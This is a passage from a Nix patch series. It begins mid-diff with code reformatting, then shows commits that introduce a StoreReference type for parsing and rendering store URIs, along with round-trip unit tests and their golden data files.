 ref<CompressionSink> makeCompressionSink(const std::string & method, Sink & nextSink, const bool parallel, int level)
 {
-    std::vector<std::string> la_supports = {"bzip2", "compress", "grzip", "gzip", "lrzip", "lz4",
-                                            "lzip",  "lzma",     "lzop",  "xz",   "zstd"};
+    std::vector<std::string> la_supports = {
+        "bzip2", "compress", "grzip", "gzip", "lrzip", "lz4", "lzip", "lzma", "lzop", "xz", "zstd"};
     if (std::find(la_supports.begin(), la_supports.end(), method) != la_supports.end()) {
         return make_ref<ArchiveCompressionSink>(nextSink, method, parallel, level);
     }
diff --git a/src/libutil/windows/file-system.cc b/src/libutil/windows/file-system.cc
index 8002dd75eec..b15355efe88 100644
--- a/src/libutil/windows/file-system.cc
+++ b/src/libutil/windows/file-system.cc
@@ -5,8 +5,13 @@ namespace nix {
 Descriptor openDirectory(const std::filesystem::path & path)
 {
     return CreateFileW(
-        path.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING,
-        FILE_FLAG_BACKUP_SEMANTICS, NULL);
+        path.c_str(),
+        GENERIC_READ,
+        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
+        NULL,
+        OPEN_EXISTING,
+        FILE_FLAG_BACKUP_SEMANTICS,
+        NULL);
 }
 
 }
diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc
index 6e1131e10f8..c71593c8566 100644
--- a/tests/unit/libexpr/nix_api_value.cc
+++ b/tests/unit/libexpr/nix_api_value.cc
@@ -256,10 +256,13 @@ TEST_F(nix_api_expr_test, nix_value_init)
 
     Value * f = nix_alloc_value(ctx, state);
     nix_expr_eval_from_string(
-        ctx, state, R"(
+        ctx,
+        state,
+        R"(
         a: a * a
     )",
-        "<test>", f);
+        "<test>",
+        f);
 
     // Test
 
@@ -325,20 +328,26 @@ TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg)
 
     Value * f = nix_alloc_value(ctx, state);
     nix_expr_eval_from_string(
-        ctx, state, R"(
+        ctx,
+        state,
+        R"(
         a: { foo = a; }
     )",
-        "<test>", f);
+        "<test>",
+        f);
     assert_ctx_ok();
 
     Value * e = nix_alloc_value(ctx, state);
     {
         Value * g = nix_alloc_value(ctx, state);
         nix_expr_eval_from_string(
-            ctx, state, R"(
+            ctx,
+            state,
+            R"(
             _ignore: throw "error message for test case nix_value_init_apply_lazy_arg"
         )",
-            "<test>", g);
+            "<test>",
+            g);
         assert_ctx_ok();
 
         nix_init_apply(ctx, e, g, g);

From c036d75f9e15baea68056de601fb089e38d36c5c Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 23 Jan 2024 14:23:03 -0500
Subject: [PATCH 174/528] Factor out abstract syntax for Store URIs
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Need to decouple parsing from actually opening a store for Machine
configs.

Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com>
Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 src/libstore/store-api.cc       | 147 +++++++++++---------------------
 src/libstore/store-api.hh       |  45 +++-------
 src/libstore/store-reference.cc |  92 ++++++++++++++++++++
 src/libstore/store-reference.hh |  84 ++++++++++++++++++
 4 files changed, 236 insertions(+), 132 deletions(-)
 create mode 100644 src/libstore/store-reference.cc
 create mode 100644 src/libstore/store-reference.hh

diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc
index 6eba3a77d80..7c2b3815fdc 100644
--- a/src/libstore/store-api.cc
+++ b/src/libstore/store-api.cc
@@ -8,7 +8,6 @@
 #include "util.hh"
 #include "nar-info-disk-cache.hh"
 #include "thread-pool.hh"
-#include "url.hh"
 #include "references.hh"
 #include "archive.hh"
 #include "callback.hh"
@@ -1267,109 +1266,63 @@ Derivation Store::readInvalidDerivation(const StorePath & drvPath)
 
 namespace nix {
 
-/* Split URI into protocol+hierarchy part and its parameter set. */
-std::pair<std::string, Store::Params> splitUriAndParams(const std::string & uri_)
+ref<Store> openStore(const std::string & uri,
+    const Store::Params & extraParams)
 {
-    auto uri(uri_);
-    Store::Params params;
-    auto q = uri.find('?');
-    if (q != std::string::npos) {
-        params = decodeQuery(uri.substr(q + 1));
-        uri = uri_.substr(0, q);
-    }
-    return {uri, params};
+    return openStore(StoreReference::parse(uri, extraParams));
 }
 
-static bool isNonUriPath(const std::string & spec)
+ref<Store> openStore(StoreReference && storeURI)
 {
-    return
-        // is not a URL
-        spec.find("://") == std::string::npos
-        // Has at least one path separator, and so isn't a single word that
-        // might be special like "auto"
-        && spec.find("/") != std::string::npos;
-}
+    auto & params = storeURI.params;
+
+    auto store = std::visit(overloaded {
+        [&](const StoreReference::Auto &) -> std::shared_ptr<Store> {
+            auto stateDir = getOr(params, "state", settings.nixStateDir);
+            if (access(stateDir.c_str(), R_OK | W_OK) == 0)
+                return std::make_shared<LocalStore>(params);
+            else if (pathExists(settings.nixDaemonSocketFile))
+                return std::make_shared<UDSRemoteStore>(params);
+            #if __linux__
+            else if (!pathExists(stateDir)
+                && params.empty()
+                && !isRootUser()
+                && !getEnv("NIX_STORE_DIR").has_value()
+                && !getEnv("NIX_STATE_DIR").has_value())
+            {
+                /* If /nix doesn't exist, there is no daemon socket, and
+                   we're not root, then automatically set up a chroot
+                   store in ~/.local/share/nix/root. */
+                auto chrootStore = getDataDir() + "/nix/root";
+                if (!pathExists(chrootStore)) {
+                    try {
+                        createDirs(chrootStore);
+                    } catch (Error & e) {
+                        return std::make_shared<LocalStore>(params);
+                    }
+                    warn("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore);
+                } else
+                    debug("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore);
+                return std::make_shared<LocalStore>("local", chrootStore, params);
+            }
+            #endif
+            else
+                return std::make_shared<LocalStore>(params);
+        },
+        [&](const StoreReference::Specified & g) {
+            for (auto implem : *Implementations::registered)
+                if (implem.uriSchemes.count(g.scheme))
+                    return implem.create(g.scheme, g.authority, params);
 
-std::shared_ptr<Store> openFromNonUri(const std::string & uri, const Store::Params & params)
-{
-    // TODO reenable on Windows once we have `LocalStore` and
-    // `UDSRemoteStore`.
-    if (uri == "" || uri == "auto") {
-        auto stateDir = getOr(params, "state", settings.nixStateDir);
-        if (access(stateDir.c_str(), R_OK | W_OK) == 0)
-            return std::make_shared<LocalStore>(params);
-        else if (pathExists(settings.nixDaemonSocketFile))
-            return std::make_shared<UDSRemoteStore>(params);
-        #if __linux__
-        else if (!pathExists(stateDir)
-            && params.empty()
-            && !isRootUser()
-            && !getEnv("NIX_STORE_DIR").has_value()
-            && !getEnv("NIX_STATE_DIR").has_value())
-        {
-            /* If /nix doesn't exist, there is no daemon socket, and
-               we're not root, then automatically set up a chroot
-               store in ~/.local/share/nix/root. */
-            auto chrootStore = getDataDir() + "/nix/root";
-            if (!pathExists(chrootStore)) {
-                try {
-                    createDirs(chrootStore);
-                } catch (Error & e) {
-                    return std::make_shared<LocalStore>(params);
-                }
-                warn("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore);
-            } else
-                debug("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore);
-            return std::make_shared<LocalStore>("local", chrootStore, params);
-        }
-        #endif
-        else
-            return std::make_shared<LocalStore>(params);
-    } else if (uri == "daemon") {
-        return std::make_shared<UDSRemoteStore>(params);
-    } else if (uri == "local") {
-        return std::make_shared<LocalStore>(params);
-    } else if (isNonUriPath(uri)) {
-        return std::make_shared<LocalStore>("local", absPath(uri), params);
-    } else {
-        return nullptr;
-    }
-}
+            throw Error("don't know how to open Nix store with scheme '%s'", g.scheme);
+        },
+    }, storeURI.variant);
 
-ref<Store> openStore(const std::string & uri_,
-    const Store::Params & extraParams)
-{
-    auto params = extraParams;
-    try {
-        auto parsedUri = parseURL(uri_);
-        params.insert(parsedUri.query.begin(), parsedUri.query.end());
-
-        auto baseURI = parsedUri.authority.value_or("") + parsedUri.path;
-
-        for (auto implem : *Implementations::registered) {
-            if (implem.uriSchemes.count(parsedUri.scheme)) {
-                auto store = implem.create(parsedUri.scheme, baseURI, params);
-                if (store) {
-                    experimentalFeatureSettings.require(store->experimentalFeature());
-                    store->init();
-                    store->warnUnknownSettings();
-                    return ref<Store>(store);
-                }
-            }
-        }
-    }
-    catch (BadURL &) {
-        auto [uri, uriParams] = splitUriAndParams(uri_);
-        params.insert(uriParams.begin(), uriParams.end());
-
-        if (auto store = openFromNonUri(uri, params)) {
-            experimentalFeatureSettings.require(store->experimentalFeature());
-            store->warnUnknownSettings();
-            return ref<Store>(store);
-        }
-    }
+    experimentalFeatureSettings.require(store->experimentalFeature());
+    store->warnUnknownSettings();
+    store->init();
 
-    throw Error("don't know how to open Nix store '%s'", uri_);
+    return ref<Store> { store };
 }
 
 std::list<ref<Store>> getDefaultSubstituters()
diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh
index a508e5a00c4..430d9a5abcb 100644
--- a/src/libstore/store-api.hh
+++ b/src/libstore/store-api.hh
@@ -13,6 +13,7 @@
 #include "path-info.hh"
 #include "repair-flag.hh"
 #include "store-dir-config.hh"
+#include "store-reference.hh"
 #include "source-path.hh"
 
 #include <nlohmann/json_fwd.hpp>
@@ -65,7 +66,7 @@ MakeError(Unsupported, Error);
 MakeError(SubstituteGone, Error);
 MakeError(SubstituterDisabled, Error);
 
-MakeError(InvalidStoreURI, Error);
+MakeError(InvalidStoreReference, Error);
 
 struct Realisation;
 struct RealisedPath;
@@ -102,7 +103,7 @@ typedef std::map<StorePath, std::optional<ContentAddress>> StorePathCAMap;
 
 struct StoreConfig : public StoreDirConfig
 {
-    typedef std::map<std::string, std::string> Params;
+    using Params = StoreReference::Params;
 
     using StoreDirConfig::StoreDirConfig;
 
@@ -859,34 +860,13 @@ OutputPathMap resolveDerivedPath(Store &, const DerivedPath::Built &, Store * ev
 /**
  * @return a Store object to access the Nix store denoted by
  * ‘uri’ (slight misnomer...).
- *
- * @param uri Supported values are:
- *
- * - ‘local’: The Nix store in /nix/store and database in
- *   /nix/var/nix/db, accessed directly.
- *
- * - ‘daemon’: The Nix store accessed via a Unix domain socket
- *   connection to nix-daemon.
- *
- * - ‘unix://<path>’: The Nix store accessed via a Unix domain socket
- *   connection to nix-daemon, with the socket located at <path>.
- *
- * - ‘auto’ or ‘’: Equivalent to ‘local’ or ‘daemon’ depending on
- *   whether the user has write access to the local Nix
- *   store/database.
- *
- * - ‘file://<path>’: A binary cache stored in <path>.
- *
- * - ‘https://<path>’: A binary cache accessed via HTTP.
- *
- * - ‘s3://<path>’: A writable binary cache stored on Amazon's Simple
- *   Storage Service.
- *
- * - ‘ssh://[user@]<host>’: A remote Nix store accessed by running
- *   ‘nix-store --serve’ via SSH.
- *
- * You can pass parameters to the store type by appending
- * ‘?key=value&key=value&...’ to the URI.
+ */
+ref<Store> openStore(StoreReference && storeURI);
+
+
+/**
+ * Opens the store at `uri`, where `uri` is in the format expected by `StoreReference::parse`
+
  */
 ref<Store> openStore(const std::string & uri = settings.storeUri.get(),
     const Store::Params & extraParams = Store::Params());
@@ -957,11 +937,6 @@ std::optional<ValidPathInfo> decodeValidPathInfo(
     std::istream & str,
     std::optional<HashResult> hashGiven = std::nullopt);
 
-/**
- * Split URI into protocol+hierarchy part and its parameter set.
- */
-std::pair<std::string, Store::Params> splitUriAndParams(const std::string & uri);
-
 const ContentAddress * getDerivationCA(const BasicDerivation & drv);
 
 std::map<DrvOutput, StorePath> drvOutputReferences(
diff --git a/src/libstore/store-reference.cc b/src/libstore/store-reference.cc
new file mode 100644
index 00000000000..9e5dafd991d
--- /dev/null
+++ b/src/libstore/store-reference.cc
@@ -0,0 +1,92 @@
+#include <regex>
+
+#include "error.hh"
+#include "url.hh"
+#include "store-reference.hh"
+#include "file-system.hh"
+
+namespace nix {
+
+static bool isNonUriPath(const std::string & spec)
+{
+    return
+        // is not a URL
+        spec.find("://") == std::string::npos
+        // Has at least one path separator, and so isn't a single word that
+        // might be special like "auto"
+        && spec.find("/") != std::string::npos;
+}
+
+StoreReference StoreReference::parse(const std::string & uri, const StoreReference::Params & extraParams)
+{
+    auto params = extraParams;
+    try {
+        auto parsedUri = parseURL(uri);
+        params.insert(parsedUri.query.begin(), parsedUri.query.end());
+
+        auto baseURI = parsedUri.authority.value_or("") + parsedUri.path;
+
+        return {
+            .variant =
+                Specified{
+                    .scheme = std::move(parsedUri.scheme),
+                    .authority = std::move(baseURI),
+                },
+            .params = std::move(params),
+        };
+    } catch (BadURL &) {
+        auto [baseURI, uriParams] = splitUriAndParams(uri);
+        params.insert(uriParams.begin(), uriParams.end());
+
+        if (baseURI == "" || baseURI == "auto") {
+            return {
+                .variant = Auto{},
+                .params = std::move(params),
+            };
+        } else if (baseURI == "daemon") {
+            return {
+                .variant =
+                    Specified{
+                        .scheme = "unix",
+                        .authority = "",
+                    },
+                .params = std::move(params),
+            };
+        } else if (baseURI == "local") {
+            return {
+                .variant =
+                    Specified{
+                        .scheme = "local",
+                        .authority = "",
+                    },
+                .params = std::move(params),
+            };
+        } else if (isNonUriPath(baseURI)) {
+            return {
+                .variant =
+                    Specified{
+                        .scheme = "local",
+                        .authority = absPath(baseURI),
+                    },
+                .params = std::move(params),
+            };
+        }
+    }
+
+    throw UsageError("Cannot parse Nix store '%s'", uri);
+}
+
+/* Split URI into protocol+hierarchy part and its parameter set. */
+std::pair<std::string, StoreReference::Params> splitUriAndParams(const std::string & uri_)
+{
+    auto uri(uri_);
+    StoreReference::Params params;
+    auto q = uri.find('?');
+    if (q != std::string::npos) {
+        params = decodeQuery(uri.substr(q + 1));
+        uri = uri_.substr(0, q);
+    }
+    return {uri, params};
+}
+
+}
diff --git a/src/libstore/store-reference.hh b/src/libstore/store-reference.hh
new file mode 100644
index 00000000000..c94a87d7d6b
--- /dev/null
+++ b/src/libstore/store-reference.hh
@@ -0,0 +1,84 @@
+#pragma once
+///@file
+
+#include <variant>
+
+#include "types.hh"
+
+namespace nix {
+
+/**
+ * A parsed Store URI (URI is a slight misnomer...), parsed but not yet
+ * resolved to a specific instance and query parms validated.
+ *
+ * Supported values are:
+ *
+ * - ‘local’: The Nix store in /nix/store and database in
+ *   /nix/var/nix/db, accessed directly.
+ *
+ * - ‘daemon’: The Nix store accessed via a Unix domain socket
+ *   connection to nix-daemon.
+ *
+ * - ‘unix://<path>’: The Nix store accessed via a Unix domain socket
+ *   connection to nix-daemon, with the socket located at <path>.
+ *
+ * - ‘auto’ or ‘’: Equivalent to ‘local’ or ‘daemon’ depending on
+ *   whether the user has write access to the local Nix
+ *   store/database.
+ *
+ * - ‘file://<path>’: A binary cache stored in <path>.
+ *
+ * - ‘https://<path>’: A binary cache accessed via HTTP.
+ *
+ * - ‘s3://<path>’: A writable binary cache stored on Amazon's Simple
+ *   Storage Service.
+ *
+ * - ‘ssh://[user@]<host>’: A remote Nix store accessed by running
+ *   ‘nix-store --serve’ via SSH.
+ *
+ * You can pass parameters to the store type by appending
+ * ‘?key=value&key=value&...’ to the URI.
+ */
+struct StoreReference
+{
+    using Params = std::map<std::string, std::string>;
+
+    /**
+     * Special store reference `""` or `"auto"`
+     */
+    struct Auto
+    {
+        inline bool operator==(const Auto & rhs) const = default;
+        inline auto operator<=>(const Auto & rhs) const = default;
+    };
+
+    /**
+     * General case, a regular `scheme://authority` URL.
+     */
+    struct Specified
+    {
+        std::string scheme;
+        std::string authority;
+
+        bool operator==(const Specified & rhs) const = default;
+        auto operator<=>(const Specified & rhs) const = default;
+    };
+
+    typedef std::variant<Auto, Specified> Variant;
+
+    Variant variant;
+
+    Params params;
+
+    bool operator==(const StoreReference & rhs) const = default;
+    auto operator<=>(const StoreReference & rhs) const = default;
+
+    static StoreReference parse(const std::string & uri, const Params & extraParams = Params{});
+};
+
+/**
+ * Split URI into protocol+hierarchy part and its parameter set.
+ */
+std::pair<std::string, StoreReference::Params> splitUriAndParams(const std::string & uri);
+
+}

From b59a7a14c4fd48835f3b36c3a4b942de77e5d9a1 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 23 Jan 2024 15:36:44 -0500
Subject: [PATCH 175/528] Add `StoreReference::render`

This will be needed for the next step.

Also allows us to write round trip tests.
---
 .clang-format                                 |   2 +-
 maintainers/flake-module.nix                  |  66 +++++++++-
 src/libstore/store-reference.cc               |  24 ++++
 src/libstore/store-reference.hh               |  10 +-
 src/libutil/url.hh                            |   2 +
 .../libstore/data/store-reference/auto.txt    |   1 +
 .../data/store-reference/auto_param.txt       |   1 +
 .../libstore/data/store-reference/local_1.txt |   1 +
 .../libstore/data/store-reference/local_2.txt |   1 +
 .../store-reference/local_shorthand_1.txt     |   1 +
 .../store-reference/local_shorthand_2.txt     |   1 +
 .../libstore/data/store-reference/ssh.txt     |   1 +
 .../libstore/data/store-reference/unix.txt    |   1 +
 .../data/store-reference/unix_shorthand.txt   |   1 +
 tests/unit/libstore/store-reference.cc        | 123 ++++++++++++++++++
 15 files changed, 233 insertions(+), 3 deletions(-)
 create mode 100644 tests/unit/libstore/data/store-reference/auto.txt
 create mode 100644 tests/unit/libstore/data/store-reference/auto_param.txt
 create mode 100644 tests/unit/libstore/data/store-reference/local_1.txt
 create mode 100644 tests/unit/libstore/data/store-reference/local_2.txt
 create mode 100644 tests/unit/libstore/data/store-reference/local_shorthand_1.txt
 create mode 100644 tests/unit/libstore/data/store-reference/local_shorthand_2.txt
 create mode 100644 tests/unit/libstore/data/store-reference/ssh.txt
 create mode 100644 tests/unit/libstore/data/store-reference/unix.txt
 create mode 100644 tests/unit/libstore/data/store-reference/unix_shorthand.txt
 create mode 100644 tests/unit/libstore/store-reference.cc

diff --git a/.clang-format b/.clang-format
index 07a5ef5bc5f..f5d7fb7112c 100644
--- a/.clang-format
+++ b/.clang-format
@@ -15,7 +15,7 @@ SpaceAfterCStyleCast: true
 SpaceAfterTemplateKeyword: false
 AccessModifierOffset: -4
 AlignAfterOpenBracket: AlwaysBreak
-AlignEscapedNewlines: DontAlign
+AlignEscapedNewlines: Left
 ColumnLimit: 120
 BreakStringLiterals: false
 BitFieldColonSpacing: None
diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 351a01fcbff..f7f05d38ef1 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -17,7 +17,8 @@
       excludes = [
         # We don't want to format test data
         # ''tests/(?!nixos/).*\.nix''
-        ''^tests/.*''
+        ''^tests/functional/.*$''
+        ''^tests/unit/[^/]*/data/.*$''
 
         # Don't format vendored code
         ''^src/toml11/.*''
@@ -426,6 +427,69 @@
         ''^src/nix/upgrade-nix\.cc$''
         ''^src/nix/verify\.cc$''
         ''^src/nix/why-depends\.cc$''
+
+        ''^tests/nixos/ca-fd-leak/sender\.c''
+        ''^tests/nixos/ca-fd-leak/smuggler\.c''
+        ''^tests/unit/libexpr-support/tests/libexpr\.hh''
+        ''^tests/unit/libexpr-support/tests/value/context\.cc''
+        ''^tests/unit/libexpr-support/tests/value/context\.hh''
+        ''^tests/unit/libexpr/derived-path\.cc''
+        ''^tests/unit/libexpr/error_traces\.cc''
+        ''^tests/unit/libexpr/eval\.cc''
+        ''^tests/unit/libexpr/flake/flakeref\.cc''
+        ''^tests/unit/libexpr/flake/url-name\.cc''
+        ''^tests/unit/libexpr/json\.cc''
+        ''^tests/unit/libexpr/main\.cc''
+        ''^tests/unit/libexpr/primops\.cc''
+        ''^tests/unit/libexpr/search-path\.cc''
+        ''^tests/unit/libexpr/trivial\.cc''
+        ''^tests/unit/libexpr/value/context\.cc''
+        ''^tests/unit/libexpr/value/print\.cc''
+        ''^tests/unit/libfetchers/public-key\.cc''
+        ''^tests/unit/libstore-support/tests/derived-path\.cc''
+        ''^tests/unit/libstore-support/tests/derived-path\.hh''
+        ''^tests/unit/libstore-support/tests/libstore\.hh''
+        ''^tests/unit/libstore-support/tests/nix_api_store\.hh''
+        ''^tests/unit/libstore-support/tests/outputs-spec\.cc''
+        ''^tests/unit/libstore-support/tests/outputs-spec\.hh''
+        ''^tests/unit/libstore-support/tests/path\.cc''
+        ''^tests/unit/libstore-support/tests/path\.hh''
+        ''^tests/unit/libstore-support/tests/protocol\.hh''
+        ''^tests/unit/libstore/common-protocol\.cc''
+        ''^tests/unit/libstore/content-address\.cc''
+        ''^tests/unit/libstore/derivation\.cc''
+        ''^tests/unit/libstore/derived-path\.cc''
+        ''^tests/unit/libstore/downstream-placeholder\.cc''
+        ''^tests/unit/libstore/machines\.cc''
+        ''^tests/unit/libstore/nar-info-disk-cache\.cc''
+        ''^tests/unit/libstore/nar-info\.cc''
+        ''^tests/unit/libstore/outputs-spec\.cc''
+        ''^tests/unit/libstore/path-info\.cc''
+        ''^tests/unit/libstore/path\.cc''
+        ''^tests/unit/libstore/serve-protocol\.cc''
+        ''^tests/unit/libstore/worker-protocol\.cc''
+        ''^tests/unit/libutil-support/tests/characterization\.hh''
+        ''^tests/unit/libutil-support/tests/hash\.cc''
+        ''^tests/unit/libutil-support/tests/hash\.hh''
+        ''^tests/unit/libutil/args\.cc''
+        ''^tests/unit/libutil/canon-path\.cc''
+        ''^tests/unit/libutil/chunked-vector\.cc''
+        ''^tests/unit/libutil/closure\.cc''
+        ''^tests/unit/libutil/compression\.cc''
+        ''^tests/unit/libutil/config\.cc''
+        ''^tests/unit/libutil/file-content-address\.cc''
+        ''^tests/unit/libutil/git\.cc''
+        ''^tests/unit/libutil/hash\.cc''
+        ''^tests/unit/libutil/hilite\.cc''
+        ''^tests/unit/libutil/json-utils\.cc''
+        ''^tests/unit/libutil/logging\.cc''
+        ''^tests/unit/libutil/lru-cache\.cc''
+        ''^tests/unit/libutil/pool\.cc''
+        ''^tests/unit/libutil/references\.cc''
+        ''^tests/unit/libutil/suggestions\.cc''
+        ''^tests/unit/libutil/tests\.cc''
+        ''^tests/unit/libutil/url\.cc''
+        ''^tests/unit/libutil/xml-writer\.cc''
       ];
     };
 
diff --git a/src/libstore/store-reference.cc b/src/libstore/store-reference.cc
index 9e5dafd991d..b4968dfadbd 100644
--- a/src/libstore/store-reference.cc
+++ b/src/libstore/store-reference.cc
@@ -4,6 +4,7 @@
 #include "url.hh"
 #include "store-reference.hh"
 #include "file-system.hh"
+#include "util.hh"
 
 namespace nix {
 
@@ -17,6 +18,29 @@ static bool isNonUriPath(const std::string & spec)
         && spec.find("/") != std::string::npos;
 }
 
+std::string StoreReference::render() const
+{
+    std::string res;
+
+    std::visit(
+        overloaded{
+            [&](const StoreReference::Auto &) { res = "auto"; },
+            [&](const StoreReference::Specified & g) {
+                res = g.scheme;
+                res += "://";
+                res += g.authority;
+            },
+        },
+        variant);
+
+    if (!params.empty()) {
+        res += "?";
+        res += encodeQuery(params);
+    }
+
+    return res;
+}
+
 StoreReference StoreReference::parse(const std::string & uri, const StoreReference::Params & extraParams)
 {
     auto params = extraParams;
diff --git a/src/libstore/store-reference.hh b/src/libstore/store-reference.hh
index c94a87d7d6b..e99335c0d57 100644
--- a/src/libstore/store-reference.hh
+++ b/src/libstore/store-reference.hh
@@ -58,7 +58,7 @@ struct StoreReference
     struct Specified
     {
         std::string scheme;
-        std::string authority;
+        std::string authority = "";
 
         bool operator==(const Specified & rhs) const = default;
         auto operator<=>(const Specified & rhs) const = default;
@@ -73,6 +73,14 @@ struct StoreReference
     bool operator==(const StoreReference & rhs) const = default;
     auto operator<=>(const StoreReference & rhs) const = default;
 
+    /**
+     * Render the whole store reference as a URI, including parameters.
+     */
+    std::string render() const;
+
+    /**
+     * Parse a URI into a store reference.
+     */
     static StoreReference parse(const std::string & uri, const Params & extraParams = Params{});
 };
 
diff --git a/src/libutil/url.hh b/src/libutil/url.hh
index 24806bbff81..6cd06e53d17 100644
--- a/src/libutil/url.hh
+++ b/src/libutil/url.hh
@@ -33,6 +33,8 @@ std::string percentEncode(std::string_view s, std::string_view keep="");
 
 std::map<std::string, std::string> decodeQuery(const std::string & query);
 
+std::string encodeQuery(const std::map<std::string, std::string> & query);
+
 ParsedURL parseURL(const std::string & url);
 
 /**
diff --git a/tests/unit/libstore/data/store-reference/auto.txt b/tests/unit/libstore/data/store-reference/auto.txt
new file mode 100644
index 00000000000..4d18c3e59ec
--- /dev/null
+++ b/tests/unit/libstore/data/store-reference/auto.txt
@@ -0,0 +1 @@
+auto
\ No newline at end of file
diff --git a/tests/unit/libstore/data/store-reference/auto_param.txt b/tests/unit/libstore/data/store-reference/auto_param.txt
new file mode 100644
index 00000000000..54adabb25d3
--- /dev/null
+++ b/tests/unit/libstore/data/store-reference/auto_param.txt
@@ -0,0 +1 @@
+auto?root=/foo/bar/baz
\ No newline at end of file
diff --git a/tests/unit/libstore/data/store-reference/local_1.txt b/tests/unit/libstore/data/store-reference/local_1.txt
new file mode 100644
index 00000000000..74b1b9677f1
--- /dev/null
+++ b/tests/unit/libstore/data/store-reference/local_1.txt
@@ -0,0 +1 @@
+local://?root=/foo/bar/baz
\ No newline at end of file
diff --git a/tests/unit/libstore/data/store-reference/local_2.txt b/tests/unit/libstore/data/store-reference/local_2.txt
new file mode 100644
index 00000000000..8b5593fb129
--- /dev/null
+++ b/tests/unit/libstore/data/store-reference/local_2.txt
@@ -0,0 +1 @@
+local:///foo/bar/baz?trusted=true
\ No newline at end of file
diff --git a/tests/unit/libstore/data/store-reference/local_shorthand_1.txt b/tests/unit/libstore/data/store-reference/local_shorthand_1.txt
new file mode 100644
index 00000000000..896189be9dc
--- /dev/null
+++ b/tests/unit/libstore/data/store-reference/local_shorthand_1.txt
@@ -0,0 +1 @@
+local?root=/foo/bar/baz
\ No newline at end of file
diff --git a/tests/unit/libstore/data/store-reference/local_shorthand_2.txt b/tests/unit/libstore/data/store-reference/local_shorthand_2.txt
new file mode 100644
index 00000000000..7a9dad3b374
--- /dev/null
+++ b/tests/unit/libstore/data/store-reference/local_shorthand_2.txt
@@ -0,0 +1 @@
+/foo/bar/baz?trusted=true
\ No newline at end of file
diff --git a/tests/unit/libstore/data/store-reference/ssh.txt b/tests/unit/libstore/data/store-reference/ssh.txt
new file mode 100644
index 00000000000..8c61010ec4d
--- /dev/null
+++ b/tests/unit/libstore/data/store-reference/ssh.txt
@@ -0,0 +1 @@
+ssh://localhost
\ No newline at end of file
diff --git a/tests/unit/libstore/data/store-reference/unix.txt b/tests/unit/libstore/data/store-reference/unix.txt
new file mode 100644
index 00000000000..19548904840
--- /dev/null
+++ b/tests/unit/libstore/data/store-reference/unix.txt
@@ -0,0 +1 @@
+unix://?max-connections=7&trusted=true
\ No newline at end of file
diff --git a/tests/unit/libstore/data/store-reference/unix_shorthand.txt b/tests/unit/libstore/data/store-reference/unix_shorthand.txt
new file mode 100644
index 00000000000..0300337e97c
--- /dev/null
+++ b/tests/unit/libstore/data/store-reference/unix_shorthand.txt
@@ -0,0 +1 @@
+daemon?max-connections=7&trusted=true
\ No newline at end of file
diff --git a/tests/unit/libstore/store-reference.cc b/tests/unit/libstore/store-reference.cc
new file mode 100644
index 00000000000..16e033ec44f
--- /dev/null
+++ b/tests/unit/libstore/store-reference.cc
@@ -0,0 +1,123 @@
+#include <nlohmann/json.hpp>
+#include <gtest/gtest.h>
+
+#include "file-system.hh"
+#include "store-reference.hh"
+
+#include "tests/characterization.hh"
+#include "tests/libstore.hh"
+
+namespace nix {
+
+using nlohmann::json;
+
+class StoreReferenceTest : public CharacterizationTest, public LibStoreTest
+{
+    Path unitTestData = getUnitTestData() + "/store-reference";
+
+    Path goldenMaster(PathView testStem) const override
+    {
+        return unitTestData + "/" + testStem + ".txt";
+    }
+};
+
+#define URI_TEST_READ(STEM, OBJ)                         \
+  TEST_F(StoreReferenceTest, PathInfo_##STEM##_from_uri) \
+  {                                                      \
+    readTest(#STEM, ([&](const auto & encoded) {         \
+           StoreReference expected = OBJ;                \
+           auto got = StoreReference::parse(encoded);    \
+           ASSERT_EQ(got, expected);                     \
+             }));                                        \
+  }
+
+#define URI_TEST_WRITE(STEM, OBJ)                                                           \
+  TEST_F(StoreReferenceTest, PathInfo_##STEM##_to_uri)                                      \
+  {                                                                                         \
+    writeTest(                                                                              \
+        #STEM,                                                                              \
+        [&]() -> StoreReference { return OBJ; },                                            \
+        [](const auto & file) { return StoreReference::parse(readFile(file)); },            \
+        [](const auto & file, const auto & got) { return writeFile(file, got.render()); }); \
+  }
+
+#define URI_TEST(STEM, OBJ) \
+  URI_TEST_READ(STEM, OBJ)  \
+  URI_TEST_WRITE(STEM, OBJ)
+
+URI_TEST(
+    auto,
+    (StoreReference{
+        .variant = StoreReference::Auto{},
+        .params = {},
+    }))
+
+URI_TEST(
+    auto_param,
+    (StoreReference{
+        .variant = StoreReference::Auto{},
+        .params =
+            {
+                {"root", "/foo/bar/baz"},
+            },
+    }))
+
+static StoreReference localExample_1{
+    .variant =
+        StoreReference::Specified{
+            .scheme = "local",
+        },
+    .params =
+        {
+            {"root", "/foo/bar/baz"},
+        },
+};
+
+static StoreReference localExample_2{
+    .variant =
+        StoreReference::Specified{
+            .scheme = "local",
+            .authority = "/foo/bar/baz",
+        },
+    .params =
+        {
+            {"trusted", "true"},
+        },
+};
+
+URI_TEST(local_1, localExample_1)
+
+URI_TEST(local_2, localExample_2)
+
+URI_TEST_READ(local_shorthand_1, localExample_1)
+
+URI_TEST_READ(local_shorthand_2, localExample_2)
+
+static StoreReference unixExample{
+    .variant =
+        StoreReference::Specified{
+            .scheme = "unix",
+        },
+    .params =
+        {
+            {"max-connections", "7"},
+            {"trusted", "true"},
+        },
+};
+
+URI_TEST(unix, unixExample)
+
